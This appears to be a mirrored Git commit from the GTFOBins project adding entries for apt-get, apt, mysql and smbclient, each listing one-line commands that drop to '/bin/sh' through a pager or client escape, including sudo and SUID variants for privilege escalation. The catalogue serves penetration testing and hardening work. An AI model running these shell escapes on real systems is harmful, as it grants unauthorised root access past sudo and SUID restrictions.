mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
parent
5b18d9340a
commit
09564b427f
12
_gtfobins/apt-get.md
Normal file
12
_gtfobins/apt-get.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
apt-get changelog apt
|
||||||
|
!/bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
sudo apt-get changelog apt
|
||||||
|
!/bin/sh
|
||||||
|
---
|
12
_gtfobins/apt.md
Normal file
12
_gtfobins/apt.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
apt-get changelog apt
|
||||||
|
!/bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
sudo apt-get changelog apt
|
||||||
|
!/bin/sh
|
||||||
|
---
|
10
_gtfobins/mysql.md
Normal file
10
_gtfobins/mysql.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
description: A valid MySQL server must be available.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: mysql -e '\! /bin/sh'
|
||||||
|
sudo-enabled:
|
||||||
|
- code: sudo mysql -e '\! /bin/sh'
|
||||||
|
suid-limited:
|
||||||
|
- code: ./mysql -e '\! /bin/sh'
|
||||||
|
---
|
12
_gtfobins/smbclient.md
Normal file
12
_gtfobins/smbclient.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
---
|
||||||
|
description: A valid SMB/CIFS server must be available.
|
||||||
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: |
|
||||||
|
smbclient \\ip\share
|
||||||
|
!/bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
sudo smbclient \\ip\share
|
||||||
|
!/bin/sh
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user